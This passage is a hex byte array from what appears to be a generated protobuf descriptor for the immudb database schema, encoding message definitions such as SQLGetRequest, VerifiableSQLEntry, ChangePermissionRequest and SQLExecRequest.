0x6e, 0x75, 0x70, 0x50, 0x65, - 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, - 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, - 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, - 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, - 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, - 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, - 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, - 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, - 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, - 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, - 0x61, 0x74, 0x61, 0x22, 0xa3, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, - 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, - 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, - 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, - 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, - 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, - 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, - 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, - 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, - 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, - 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, - 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, - 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, - 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, - 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, - 0x6e, 0x42, 0x79, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, - 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, - 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, - 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, - 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, - 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, - 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, - 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, - 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, - 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, - 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x9e, 0x01, 0x0a, 0x05, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, - 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, - 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, - 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, - 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, - 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, - 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, - 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, - 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, - 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, - 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, - 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, - 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, - 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, - 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, - 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, - 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, - 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, - 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 